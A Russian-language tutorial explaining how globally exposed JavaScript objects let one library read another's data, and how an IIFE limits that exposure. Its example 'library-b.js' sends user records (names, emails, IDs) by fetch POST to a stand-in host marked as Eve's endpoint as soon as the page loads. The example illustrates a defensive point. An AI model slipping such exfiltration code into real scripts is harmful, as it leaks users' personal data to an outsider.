Сокращение нарушений безопасности в JavaScript за счет уменьшения глобального воздействия

Начнем эту статью с простого сценария. Допустим, есть сайт example.com, и этот сайт использует две библиотеки А и Б. Библиотека А работает с некоторыми конфиденциальными данными, и крайне важно, чтобы никто не имел к ней несанкционированного доступа. Теперь давайте предположим, что example.com очень популярен, и Ева проанализировала сайт и увидела, что сайт использует библиотеки A и B. Она проанализировала библиотеку A и обнаружила брешь в системе безопасности, которая была вызвана глобальным раскрытием данных (будем подробно обсудим эту тему ниже). Теперь Ева подумала о том, как ей получить доступ к библиотеке А, чтобы получить из нее данные, и разработала план, направленный на получение доступа к библиотеке Б (предположим, что для Евы легко получить доступ к исходному коду библиотеки Б и изменить это) и через библиотеку B получить доступ к содержимому библиотеки A.
Теперь давайте обсудим, как Ева смогла это сделать. Исходный код example.com выглядит так:
<!DOCTYPE html>
<html>
<head>
<title>example.com</title>
</head>
<body>
<script src="./library-a.js"></script>
<script src="./example-com.js"></script>
<script src="./library-b.js"></script>
</body>
</html>
- Библиотека А
- скрипт сайта example.com
- Библиотека Б.
// library-a.js
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
window.libraryA = new LibraryA()
// example-com.js
window.libraryA.init()
// library-b.js
class LibraryB {
constructor() {
this.sendDataToEve()
}
sendDataToEve() {
// Eve's endpoint
fetch('https://0123456789.com', {
method: 'POST',
body: JSON.stringify({ users: window.libraryA.users })
})
}
}
window.libraryB = new LibraryB()
Чтобы устранить эту уязвимость, мы могли бы использовать функцию IIFE (Immediately Invoked Function Expression) и выставить только общедоступный метод API init
следующим образом:
// library-a.js
window.libraryA = (() => {
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
const _libraryA = new LibraryA()
return {
init: _libraryA.init.bind(_libraryA)
}
})()
Спасибо, что прочитали эту статью, надеюсь, вам понравилось. Вы можете следить за мной в Твиттере .